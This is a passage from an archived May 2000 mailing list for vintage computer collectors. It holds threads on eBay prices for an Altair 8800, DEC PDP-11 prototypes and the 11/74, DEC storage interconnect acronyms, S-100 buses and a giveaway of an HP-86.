machines... They *really* weren't sold as prototype machines. One could say the PDP-1, PDP-4 , PDP-6 and PDP-7 were "prototypes" as well then. This was Gordon's first 16 bit release, he just redesigned some of it and re-numbered the computer as a new PDP-11 line was starting in 1971. I *did* have one of the original PDP-11 prototypes and it was quite a mess. It did boot RT11 v4 though :-) john From marvin at rain.org Tue May 9 17:05:16 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:36 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office> Message-ID: <39188B9C.7064FBAF@rain.org> Good grief, someone puts the word "historic" on a computer and look what happens to the price someone else is willing to pay. Hmmm, maybe its the "rush" one gets after taxes are done. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=310884521 For those that don't choose to browse, the closing price was $10K. From dylanb at sympatico.ca Tue May 9 18:54:13 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:36 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> Message-ID: <006e01bfba11$e11dcc20$fd83fea9@office> ----- Original Message ----- From: Marvin To: Sent: Tuesday, May 09, 2000 6:05 PM Subject: Ebay Altair > > Good grief, someone puts the word "historic" on a computer and look what > happens to the price someone else is willing to pay. Hmmm, maybe its the > "rush" one gets after taxes are done. > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=310884521 > > For those that don't choose to browse, the closing price was $10K. > Funny how a lot of people here think the prices are inflated. These prices are established by *demand* and availability (as with anything else). I sold my Altair 8800 serial #80 just like this one with my collection :-( john From John.Allain at donnelley.infousa.com Tue May 9 17:22:28 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:51:36 2005 Subject: Ebay Altair In-Reply-To: <39188B9C.7064FBAF@rain.org> Message-ID: <000601bfba05$102c6150$0e0301ac@dba00802.databaseamerica.com> The biggest eBay rip I've see thus far is -be warned- 'Historic IBM "Think" signs from the 60s' These were saleable new as late as 1994 for something like $10-$15. These are the plastic signs with a "T" foot in the back. Someone is getting them out on eBay claiming they're 30+ years old (false) and getting about $150 ea. Jeesh! John A. From mikeford at socal.rr.com Tue May 9 17:25:29 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:36 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <20000509152036.S29395@mrbill.net> References: ; from mikeford@socal.rr.com on Tue, May 09, 2000 at 11:43:28AM -0700 <4.3.0.20000509102413.01af7140@pc> <3918295E.44B458FD@rain.org> <200005091603.e49G3qg04036@mail2.siemens.de> Message-ID: >On Tue, May 09, 2000 at 11:43:28AM -0700, Mike Ford wrote: >> Haven't you all seen the little dooky that clips to your glasses and sits >> about 3 inches in front? Its a commercial product "around" $100 and uses a >> linear arrary of LEDs and a rotating mirror to give a full SVGA display >> that seems to "float" about 8 inches in front of you. Last time I saw them >> at WCES they were working on a high definition TV eyepiece, and the quality >> was very good. > >I'd like to know where the heck to get one of these for "around" $100. >I'll whip out my card and buy one RIGHT NOW. 8-) Am I the only one that knows how to use a search engine, BTW shoot me if I am off a silly zero or so. http://www.MicroOpticalcorp.com/ Following link in other post, Omron made the unit I looked at during WCES. From go at ao.com Tue May 9 18:43:07 2000 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:51:36 2005 Subject: Ebay Altair In-Reply-To: <006e01bfba11$e11dcc20$fd83fea9@office> References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> Message-ID: <4.2.2.20000509162648.03a86c20@wave-rock.ao.com> At 19:54 5/9/00 -0400, you wrote: > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=310884521 > >Funny how a lot of people here think the prices are inflated. These prices >are established by *demand* and availability (as with anything else). I sold >my Altair 8800 serial #80 just like this one with my collection :-( > >john However, as it's been pointed out before, it only takes *2* bidders to make a runaway auction. This hardly qualifies as an "ordinary" price. And in the case of the above auction, it only took *1* as it was a reserve auction, with an apparent reserve of $10k. There was quite a spread between the highest and next highest. As most dealers in antiquities or other "rare" goodies will tell you, the price of a single (or even a few) auctions doesn't really set a "price." Now if you saw the same event for several auctions in a row, then you can start to take it as evidence of a trend. Not that I think eBay (or auctioning in general) is bad - it's just that a single, outrageous price is not an indicator of a trend. But to belie my words, eBay *does* seem to have it's share of high bidding fools - I've probably been one myself on occasions when I *really* wanted something I'd been seeking for a long time... -Gary From dylanb at sympatico.ca Tue May 9 20:34:55 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:36 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office><39188B9C.7064FBAF@rain.org> <4.2.2.20000509162648.03a86c20@wave-rock.ao.com> Message-ID: <009e01bfba1f$f270e260$fd83fea9@office> > > However, as it's been pointed out before, it only takes *2* bidders to > make a runaway auction.\\ That's what I *hate* about auctions. > This hardly qualifies as an "ordinary" price. > And in the case of the above auction, it only took *1* as it was a > reserve auction, with an apparent reserve of $10k. There was quite > a spread between the highest and next highest. > Altairs generally sell between $3-4K. I remember last year they were selling for around $2K. > As most dealers in antiquities or other "rare" goodies will tell you, > the price of a single (or even a few) auctions doesn't really set a > "price." Now if you saw the same event for several auctions in a row, > then you can start to take it as evidence of a trend. > Agreed. I never use just one auction or sale to justify "value". I did notice on that auction that at least 4 people wanted to pay over $4000. > Not that I think eBay (or auctioning in general) is bad - it's just > that a single, outrageous price is not an indicator of a trend. I generally find eBay sells items for *less* money than the real world when it comes to classic computers. A *lot* of deep pocket collectors won't use the service to purchase old computers from. I have been told by many that they would rather do private offers or sales as eBay would *really* blow the prices out of perspective [take Nathan Myhrvold bids for example] . I personally will have a running KL10 available for offers but would not want to sell such a mini as a "featured catagory item" on eBay - some items just don't sit well on eBay. > But to belie my words, eBay *does* seem to have it's share of high > bidding fools - I've probably been one myself on occasions when I > *really* wanted something I'd been seeking for a long time... > It only takes two! john From vaxman at uswest.net Tue May 9 19:01:44 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:51:36 2005 Subject: Cool hack (was Busses vs no busses) In-Reply-To: <3918295E.44B458FD@rain.org> Message-ID: I have a clock that works basically like this. The LED is mounted on a spring loaded arm sticking up out of the base. You pull the arm to one side, and release it. The time shows up floating in the arm. It's pretty annoying to have to flip the arm to find out what time it is... clint On Tue, 9 May 2000, Marvin wrote: > > > John Foust wrote: > > > > What's the name of those signs that are composed of nothing but > > a single vertical column of LEDs, where you can only see the > > image (or the digital clock display, etc.) as your eye scans > > across it, leaving the multiplexed image in your brain? > > I can't recall either, but that brings to mind an interesting project a > friend of mine worked on quite a few years ago. The Art Museum here was > having some kind of show and an artist wanted to paint electronic pictures. > My friend designed the electronics (I built the circuit boards) to put a > line of LEDs on a pendulum and paint pictures electronically as the pendulum > swung through its arc. With the multi-colored and higher intensity LEDs > available today, it would be really cool to do the same thing but with color > pictures. Doesn't sound like too hard a project especially with the speed of > todays computers. > > From lemay at cs.umn.edu Tue May 9 19:19:23 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: <009e01bfba1f$f270e260$fd83fea9@office> from johnb at "May 9, 2000 09:34:55 pm" Message-ID: <200005100019.TAA06353@caesar.cs.umn.edu> > > But to belie my words, eBay *does* seem to have it's share of high > > bidding fools - I've probably been one myself on occasions when I > > *really* wanted something I'd been seeking for a long time... > > > > It only takes two! > Yes, it was the OTHER guy who forced me to pay $150 for that 16K of pdp8/E core memory ;) Still, whoever got the 8/E EAE board set should feel lucky I spend myself out, because I knew it was there ;) -Lawrence (oh, you meant some OTHER fool...) LeMay From dylanb at sympatico.ca Tue May 9 21:02:57 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair References: <200005100019.TAA06353@caesar.cs.umn.edu> Message-ID: <00a801bfba23$dcd17740$fd83fea9@office> ----- Original Message ----- From: Lawrence LeMay To: Sent: Tuesday, May 09, 2000 8:19 PM Subject: Re: Ebay Altair > > > But to belie my words, eBay *does* seem to have it's share of high > > > bidding fools - I've probably been one myself on occasions when I > > > *really* wanted something I'd been seeking for a long time... > > > > > > > It only takes two! > > > > Yes, it was the OTHER guy who forced me to pay $150 for that 16K of pdp8/E > core memory ;) Still, whoever got the 8/E EAE board set should feel lucky > I spend myself out, because I knew it was there ;) > Doesn't Keyways charge $250 for 8/E core memory set? What did the 8/E EAE set sell for, and when? > -Lawrence (oh, you meant some OTHER fool...) LeMay > From lemay at cs.umn.edu Tue May 9 19:38:16 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: <00a801bfba23$dcd17740$fd83fea9@office> from johnb at "May 9, 2000 10:02:57 pm" Message-ID: <200005100038.TAA07520@caesar.cs.umn.edu> > > > > > But to belie my words, eBay *does* seem to have it's share of high > > > > bidding fools - I've probably been one myself on occasions when I > > > > *really* wanted something I'd been seeking for a long time... > > > > > > > > > > It only takes two! > > > > > > > Yes, it was the OTHER guy who forced me to pay $150 for that 16K of pdp8/E > > core memory ;) Still, whoever got the 8/E EAE board set should feel lucky > > I spend myself out, because I knew it was there ;) > > > > Doesn't Keyways charge $250 for 8/E core memory set? > > What did the 8/E EAE set sell for, and when? > Ended last sunday. It sold for a very low price. VERY low. The guy didnt know what he had. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=319273531 For $77, the auction included some of the basic PDP 8/E cpu cards, plus the M8341 and M8340 (which he didnt label), plus 5 'top caps' for the boards. Not a bad bargain for someone. -Lawrence LeMay From marvin at rain.org Tue May 9 19:38:35 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> <006e01bfba11$e11dcc20$fd83fea9@office> Message-ID: <3918AF8B.3A8F4F93@rain.org> johnb wrote: > > Funny how a lot of people here think the prices are inflated. These prices > are established by *demand* and availability (as with anything else). I sold > my Altair 8800 serial #80 just like this one with my collection :-( "Inflated" implies a comparison. And of course prices are established by supply and demand, and I think that is a good thing. The comparison, though, is with the approx. $2K to $4K or so they have been selling for on ebay for the past several years. That ad gives a LOT less detail than others that sold for much less. Was it ignorance that drove the price up ... or was it that the bidder knew something we don't? Perhaps this person emailed the seller and did find out something that made it worth the extra money. From richard at idcomm.com Tue May 9 20:30:28 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> <006e01bfba11$e11dcc20$fd83fea9@office> <3918AF8B.3A8F4F93@rain.org> Message-ID: <002701bfba1f$53a5f1c0$0400c0a8@winbook> What's just as likely is that the Altair will go un-paid-for, thereby leaving the notion that it should bring a high price, but without any actual consummated sale. Most of us won't know about that little detail, but will surely remember that an Altair, probably worth at least that much if inflation is taken into consideration and if you simply consider what it cost back in the "old days" when it was purchased. Note that this one had a 4K Ram board and a CPU, but little else, hence, it was probably just held for investment. This is how the prices are pushed up. Dick ----- Original Message ----- From: Marvin To: Sent: Tuesday, May 09, 2000 6:38 PM Subject: Re: Ebay Altair > > > johnb wrote: > > > > Funny how a lot of people here think the prices are inflated. These prices > > are established by *demand* and availability (as with anything else). I sold > > my Altair 8800 serial #80 just like this one with my collection :-( > > "Inflated" implies a comparison. And of course prices are established by > supply and demand, and I think that is a good thing. The comparison, though, > is with the approx. $2K to $4K or so they have been selling for on ebay for > the past several years. That ad gives a LOT less detail than others that > sold for much less. Was it ignorance that drove the price up ... or was it > that the bidder knew something we don't? Perhaps this person emailed the > seller and did find out something that made it worth the extra money. > From jfoust at threedee.com Tue May 9 20:42:17 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: <006e01bfba11$e11dcc20$fd83fea9@office> References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> Message-ID: <4.3.0.20000509203740.02182ba0@pc> > > Good grief, someone puts the word "historic" on a computer and look what > > happens to the price someone else is willing to pay. Hmmm, maybe its the > > "rush" one gets after taxes are done. > > > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=310884521 > > > > For those that don't choose to browse, the closing price was $10K. The winning bid was from clbii@mindspring.com . Hmm, sounds like Scelbi. It seemed to be a system with plenty of docs and lit from the time. Instant collection. At 09:34 PM 5/9/00 -0400, johnb wrote: >I have been told by many that >they would rather do private offers or sales as eBay would *really* blow the >prices out of perspective [take Nathan Myhrvold bids for example] . I What was he bidding on? - John From allisonp at world.std.com Tue May 9 19:45:39 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:37 2005 Subject: Busses vs no busses Message-ID: <004e01bfba19$dedac050$7464c0d0@ajp166> >Bill said >> ...a distant decendant of the DEC CI780 and HSC50 >> disk interface SDI cable. That and the C64 serial bus, Epson PX-8 serial bus, Appletalk interconnect. Even I did a simple two wire bus for interconnect back in the early 80s. Firewire and USB are nothing new save for they are fast and cheap. >CI780 =? Cluster Interconnect ?? Yep >HSC50 =? Heirarchic Storage Controller ?? Yep yep. >SDI =? No Freakin' Clue. ??? Help! Strategic defense inititive... Storage domain interface... I forget. They did have onthing in common serial buses that ran at very high speeds as a simpler interconnect that could span significant distances. Even eithenet has been used that way. To revisit a earlier point S100 ws not a simple bus, crude yes, not simple. The cpu in the raw was on the bus so you had to do a lot of cycle decoding and grabing the right lines. If it had been done right the odd pins would have been all grounds and the bus would have ended up looking like multibus or STD. A simple bus would be SS50, much better in some ways and easier to interface to. Allison From pechter at pechter.dyndns.org Tue May 9 21:04:17 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:37 2005 Subject: Busses vs no busses In-Reply-To: <000201bfb9f4$ebabb200$0e0301ac@dba00802.databaseamerica.com> from John Allain at "May 9, 2000 04:26:55 pm" Message-ID: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> > Could someone help my recollecting. > What's an SDI & are these correct? John A. > > > Bill said > > ...a distant decendant of the DEC CI780 and HSC50 > > disk interface SDI cable. > > CI780 =? Cluster Interconnect ?? > HSC50 =? Heirarchic Storage Controller ?? > SDI =? No Freakin' Clue. ??? Help! I believe SDI = Serial Disk Interconnect (or something like that). They're the cables from the HSC50 or UDA50a to the RAxx drive. bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From foo at siconic.com Tue May 9 20:04:50 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: > I generally find eBay sells items for *less* money than the real world when > it comes to classic computers. A *lot* of deep pocket collectors won't use False. > the service to purchase old computers from. I have been told by many that > they would rather do private offers or sales as eBay would *really* blow the > prices out of perspective [take Nathan Myhrvold bids for example] . I This makes no sense. eBay prices as a rule are always much more than once can expect to find in the "real world". In fact, "real world" prices have gotten inflated from people selling their old computers for eBay prices (I'm sure many here have come across people selling old computers, or really just about anything these days, and saying something to the effect of "I can get $X for this on eBay!!") > personally will have a running KL10 available for offers but would not want > to sell such a mini as a "featured catagory item" on eBay - some items just > don't sit well on eBay. If it's too big to ship via UPS then it generally won't do well. As I have always maintained in the past, eBay has done nothing but artifically inflate the prices for old computers to the detriment of this hobby (and others as well). Sellam From cmcmanis at mcmanis.com Tue May 9 21:15:00 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair References: <200005100019.TAA06353@caesar.cs.umn.edu> <00a801bfba23$dcd17740$fd83fea9@office> Message-ID: <3918C624.AC7F6FC9@mcmanis.com> johnb wrote: > Doesn't Keyways charge $250 for 8/E core memory set? No, a 4K set (and yes I bought one, no it didn't work (but I fixed it)) and no Mitch doesn't seem to have any more. > What did the 8/E EAE set sell for, and when? $77, in part because I didn't get my final bid in. I'd have at least paid $100 for a complete 8/E cpu + EAE with connectors. Even shipping it from England isn't _that_ expensive with some of the newer air-freight services (DHL quoted me $30 for 3-day air service) --Chuck From ip500 at roanoke.infi.net Tue May 9 21:11:00 2000 From: ip500 at roanoke.infi.net (Craig Smith) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair References: <004e01bfba0f$3fb89380$fd83fea9@office> <39188B9C.7064FBAF@rain.org> <006e01bfba11$e11dcc20$fd83fea9@office> <3918AF8B.3A8F4F93@rain.org> <002701bfba1f$53a5f1c0$0400c0a8@winbook> Message-ID: <3918C534.9E0F50E5@roanoke.infi.net> That was the first thing I looked for. The seller did in fact add to the buyers feedback profile [with a "glowing" comment], which would seem to indicate that the sale was indeed consummated. And I thought 3-4K was a bit pricey! Craig Richard Erlacher wrote: > > What's just as likely is that the Altair will go un-paid-for, thereby > leaving the notion that it should bring a high price, but without any actual > consummated sale. Most of us won't know about that little detail, but will > surely remember that an Altair, probably worth at least that much if > inflation is taken into consideration and if you simply consider what it > cost back in the "old days" when it was purchased. Note that this one had a > 4K Ram board and a CPU, but little else, hence, it was probably just held > for investment. > > This is how the prices are pushed up. > > Dick > > ----- Original Message ----- > From: Marvin > To: > Sent: Tuesday, May 09, 2000 6:38 PM > Subject: Re: Ebay Altair > > > > > > > johnb wrote: > > > > > > Funny how a lot of people here think the prices are inflated. These > prices > > > are established by *demand* and availability (as with anything else). I > sold > > > my Altair 8800 serial #80 just like this one with my collection :-( > > > > "Inflated" implies a comparison. And of course prices are established by > > supply and demand, and I think that is a good thing. The comparison, > though, > > is with the approx. $2K to $4K or so they have been selling for on ebay > for > > the past several years. That ad gives a LOT less detail than others that > > sold for much less. Was it ignorance that drove the price up ... or was it > > that the bidder knew something we don't? Perhaps this person emailed the > > seller and did find out something that made it worth the extra money. > > From foo at siconic.com Tue May 9 20:08:09 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: <3918AF8B.3A8F4F93@rain.org> Message-ID: > "Inflated" implies a comparison. And of course prices are established by > supply and demand, and I think that is a good thing. The comparison, though, > is with the approx. $2K to $4K or so they have been selling for on ebay for > the past several years. That ad gives a LOT less detail than others that > sold for much less. Was it ignorance that drove the price up ... or was it > that the bidder knew something we don't? Perhaps this person emailed the > seller and did find out something that made it worth the extra money. Or perhaps the deal won't even be consumated as was the case the last time an Altair reached such a ridiculous sales price. Remember the $12K Altair bid up by the woman for a third party a couple years back? From pechter at pechter.dyndns.org Tue May 9 21:09:10 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:37 2005 Subject: value of RK05 In-Reply-To: from Tony Duell at "May 9, 2000 09:10:01 pm" Message-ID: <200005100209.WAA19057@bg-tc-ppp351.monmouth.com> > > > > > > Err, and just what _production_ PDP11s are pre-11/20?? > > > > > > > Gordon Bell had 300 "PDP-11" minicomputers made that were *slightly* > > different from the PDP-11/20. Most 11/20 boards are rev "A". I will list soo > > the differences - most had to do with the UNIBUS.. but there was some > > changes to the datapaths as well. > > Ah, so they're not really production machines... > > As a user/repairer (as opposed to a collector), my views on prototype > machines and their value is perhaps a little different to others. There > are some machines that _only_ existed as prototypes and did things that > production machines never did (examples would be the PDP11/74, PERQ 2T4, > etc). Those I find very interesting, and would love to obtain (some > chance..) But when a prototype went into production with a few changes, > then I'm not particularly bothered about getting the prototype version -- > most likely I'm going to run into some nasty incompatibility sometime... > > -tony > The 11/74 was a little more than a prototype since a number of KB11-CM's were built and implemented internally in DEC. The parts were assigned real part numbers and were produced in limited quantities. These 11/74's were pressed into 11/70 service when DEC couldn't meet the demand for Telco (i.e. AT&T) 11/70's due to the FCC specs in the mid '80's. They were allowed to sell refurb machines -- so the 11/74's from internal sites in Massachusetts and New Hampshire were s shipped to the field to replace Field Service and Software (and in our case the Mid Atlantic Region Sales) administrive machines in DEC so the 11/70's running RSTS/E (usually) could be refurbed and shipped to AT&T sites. They even swapped cusomers for Vax 11/780 systems to get these 11/70's back from the field. My biggest fear was backplane failure -- since there were a couple of 11/74 board sets in the country -- but no one knew if there were any backplanes out there and the 11/70 backplanes got real creaky after 10 years or so of field maintenance. bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From foo at siconic.com Tue May 9 20:09:30 2000 From: foo at siconic.com (foo) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: <4.3.0.20000509203740.02182ba0@pc> Message-ID: > At 09:34 PM 5/9/00 -0400, johnb wrote: > >I have been told by many that > >they would rather do private offers or sales as eBay would *really* blow the > >prices out of perspective [take Nathan Myhrvold bids for example] . I > > What was he bidding on? You mean besides stuffed animals and anal/vaginal speculi? (I'm not making this up). Sellam From geoffrob at stmarks.pp.catholic.edu.au Tue May 9 21:23:12 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:51:37 2005 Subject: Busses vs no busses References: <000201bfb9f4$ebabb200$0e0301ac@dba00802.databaseamerica.com> Message-ID: <004b01bfba26$b10ce880$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "John Allain" To: Sent: Wednesday, May 10, 2000 5:56 AM Subject: RE: Busses vs no busses > CI780 =? Cluster Interconnect ?? > HSC50 =? Heirarchic Storage Controller ?? > SDI =? No Freakin' Clue. ??? Help! SDI = Standard Disk Interface, IIRC HSC = HeirarchicAL Storage Controller CI = Computer Interconnect, IIRC. Cheers Geoff Roberts Computer Systems Manager Saint Mark's College Port Pirie, South Australia geoffrob@stmarks.pp.catholic.edu.au ICQ: 1970476 From dylanb at sympatico.ca Tue May 9 23:05:42 2000 From: dylanb at sympatico.ca (johnb) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair References: Message-ID: <00c701bfba35$02933ca0$fd83fea9@office> > > > I generally find eBay sells items for *less* money than the real world when > > it comes to classic computers. A *lot* of deep pocket collectors won't use > > False. False? I *have* been asked by many deep pocket collectors not to put any sort of large , really rare computers on eBay. I sold the PDP-15, a couple /35s and a few other 8s through private offers. I personally don't think eBay is the place to sell *huge* minicomputers. It was requested by 3 already that I NOT put the PDP-10 on eBay as they would not bid, and really that would not be too tasteful in my eyes anyway. > This makes no sense. eBay prices as a rule are always much more than once > can expect to find in the "real world". In fact, "real world" prices have > gotten inflated from people selling their old computers for eBay prices > (I'm sure many here have come across people selling old computers, or > really just about anything these days, and saying something to the effect > of "I can get $X for this on eBay!!") It makes perfect sense. You get 4 or 5 multi-million $$ deep pockets specifically looking for old minicomputer stuff and bidding heavily on eBay and watch what would happen. Look at what happened to the Cray manual when someone here on the list tried to bid against Nathan [closed around $2700, and he was *not* going to be outbid]. Quite a few deep pocket collectors are now looking at *preserving* either their first computer or put together a small museum. $10,000 is nothing to pay for a small rare computer when you have a billion. Put up something like a KA-10 on eBay for auction and inform a few deep pockets and watch the bids[I know of 3 *really* deep pockets that want one - period! ] BTW: I put the PDP-11/35 on eBay *only* to show what these computers were *really* selling for.. I was a bit upset as I got *less* than I usually do. As for using auctions to value computers? Sotheby's uses past auction sales *to* determine value all the time. > > > personally will have a running KL10 available for offers but would not want > > to sell such a mini as a "featured catagory item" on eBay - some items just > > don't sit well on eBay. > > If it's too big to ship via UPS then it generally won't do well. > Shipping a PDP-15 to the West Coast was under $2000. A PDP-8/I rackful to the west coast - $800US. A PDP-11/35 to Chicago was under $200US (and would not fit on a UPS truck). 40,000 pounds of computers to the West Coast (from Toronto) - $7000US + ins. Airlines charge $1.20/pound on average to the US. Trucks are much less if a large load is going. Shipping is a non issue when it comes to heavy computers anymore. All depends how rare the computer is. > As I have always maintained in the past, eBay has done nothing but > artifically inflate the prices for old computers to the detriment of this > hobby (and others as well). > I (most of all) am really fed up with eBay. I have lost several *volume* PDP-8 and PDP-11 deals because the individual involved happens to look on eBay to see what they are going for. I specifically lost 3 PDP-8/Es in NC for a few hundred $$$ because this guy saw an 8/E sell on eBay for $1400US just before the deal closed :-( http://www.pdp8.com/ John > Sellam > > From allisonp at world.std.com Tue May 9 20:37:39 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:37 2005 Subject: value of RK05 Message-ID: <002101bfba20$6d1f9790$7664c0d0@ajp166> --->The 11/74 was a little more than a prototype since a number of KB11-CM's >were built and implemented internally in DEC. The parts were assigned >real part numbers and were produced in limited quantities. That was SOP for DEC. Anytimg something needed to be produced outside of the lab and it was projected as production it would get the full treatment. >These 11/74's were pressed into 11/70 service when DEC couldn't meet the >demand for Telco (i.e. AT&T) 11/70's due to the FCC specs in the mid >'80's. They were allowed to sell refurb machines -- so the 11/74's from That and it threatend to take some of the 11/780s thunder. One forgets the 11/70 was the supermini of the day and not too shabby for some time after. >internal sites in Massachusetts and New Hampshire were s shipped to the >field to replace Field Service and Software (and in our case the Mid >Atlantic Region Sales) administrive machines in DEC so the 11/70's >running RSTS/E (usually) could be refurbed and shipped to AT&T sites. Not all though. The system known as Video was an 11/70 that was an 11/74 at another point in time. >My biggest fear was backplane failure -- since there were a couple of >11/74 board sets in the country -- but no one knew if there were any >backplanes out there and the 11/70 backplanes got real creaky after 10 >years or so of field maintenance. That and the multiport memory boxes. Allison From rhudson at ix.netcom.com Tue May 9 22:28:34 2000 From: rhudson at ix.netcom.com (Ron Hudson) Date: Sun Feb 27 18:51:37 2005 Subject: s100 busses! References: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> Message-ID: <3918D762.18B15E2E@ix.netcom.com> Does anyone still sell s100 based computers? Aren't they used still for process controll and automation? 2nd question How did the control panel of the IMSAI work, was it controlled by a rom program that lit the leds and read the switches? Thanks! From earl_evans at yahoo.com Tue May 9 22:57:23 2000 From: earl_evans at yahoo.com (Earl Evans) Date: Sun Feb 27 18:51:37 2005 Subject: HP86 Message-ID: <20000510035723.24572.qmail@web120.yahoomail.com> Hello Bill, If the HP-86 has not already been spoken for, I would like to speak up. It would be a fun addition to my collection. I have always liked the older HP systems. I'll be in the general area on Saturday 5/13 (driving back from San Jose, CA to Portland, OR), and could arrange to pick this up on the way. Let me know if this is still up for grabs :-) Thanks, - Earl --- Bill Yakowenko wrote: > Hey all, I have a line on an HP-86 up for grabs in California, > about 90 > miles north of Sacramento: > > ] HP-86 with manuals, monitor, two disc drives, memory > modules, matrix > ] manipulation hardware (never used), etc. I have not taken a > complete > ] inventory of what is there. Would be happy to GIVE it to > anyone that > ] has an interest. > > Let me know if you're interested, and I'll pass the word on. > > Cheers, > Bill. > > > ===== Earl Evans retro@retrobits.com Enjoy Retrocomputing Today! Join us at http://www.retrobits.com __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From richard at idcomm.com Tue May 9 23:10:53 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:37 2005 Subject: s100 busses! References: <200005100204.WAA19035@bg-tc-ppp351.monmouth.com> <3918D762.18B15E2E@ix.netcom.com> Message-ID: <002d01bfba35$bc955700$0400c0a8@winbook> Someone recently told me that Industrial Micro Systems was still around. I haven't found a web presence to verify this, however. Additionally, IMSAI claims to be making a system with an S-100 bus. Check for info on their front panel, still available as a replacement part, or as a kit, etc. Dick The front-panel is documented ----- Original Message ----- From: Ron Hudson To: Sent: Tuesday, May 09, 2000 9:28 PM Subject: s100 busses! > Does anyone still sell s100 based computers? > Aren't they used still for process controll and automation? > > 2nd question > How did the control panel of the IMSAI work, was it controlled by a rom program > that lit the leds and read the switches? > > Thanks! > From richard at idcomm.com Tue May 9 23:13:43 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair References: Message-ID: <003b01bfba36$219cfcc0$0400c0a8@winbook> Well, that's nice if you're selling. Dick ----- Original Message ----- From: foo To: Sent: Tuesday, May 09, 2000 7:04 PM Subject: Re: Ebay Altair > > > > I generally find eBay sells items for *less* money than the real world when > > it comes to classic computers. A *lot* of deep pocket collectors won't use > > False. > > > the service to purchase old computers from. I have been told by many that > > they would rather do private offers or sales as eBay would *really* blow the > > prices out of perspective [take Nathan Myhrvold bids for example] . I > > This makes no sense. eBay prices as a rule are always much more than once > can expect to find in the "real world". In fact, "real world" prices have > gotten inflated from people selling their old computers for eBay prices > (I'm sure many here have come across people selling old computers, or > really just about anything these days, and saying something to the effect > of "I can get $X for this on eBay!!") > > > personally will have a running KL10 available for offers but would not want > > to sell such a mini as a "featured catagory item" on eBay - some items just > > don't sit well on eBay. > > If it's too big to ship via UPS then it generally won't do well. > > As I have always maintained in the past, eBay has done nothing but > artifically inflate the prices for old computers to the detriment of this > hobby (and others as well). > > Sellam > From frustum at pacbell.net Tue May 9 23:12:44 2000 From: frustum at pacbell.net (Jim Battle) Date: Sun Feb 27 18:51:37 2005 Subject: Ebay Altair In-Reply-To: References: <009e01bfba1f$f270e260$fd83fea9@office> Message-ID: <4.3.0.20000509210045.00b03570@pacbell.net> At 06:04 PM 5/9/00 -0700, Sellam wrote: >... >As I have always maintained in the past, eBay has done nothing but >artifically inflate the prices for old computers to the detriment of this >hobby (and others as well). > >Sellam I think it can be argued differently, especially the "nothing but" part. Think of how many people are now digging out old computers, or getting them back into circulation instead of just scrapping them. The prices might be up, but so is the supply. And, in time, some of the people who bought some computer in a fit of nostalgia for too much on ebay will get tired of their machine and probably put it back into the market, especially if the paid real $$ for it. It is somewhat contradictory to have the position of wanting to preserve old computers but at the same time wanting to return to the old days, days when old machines were cheap but where 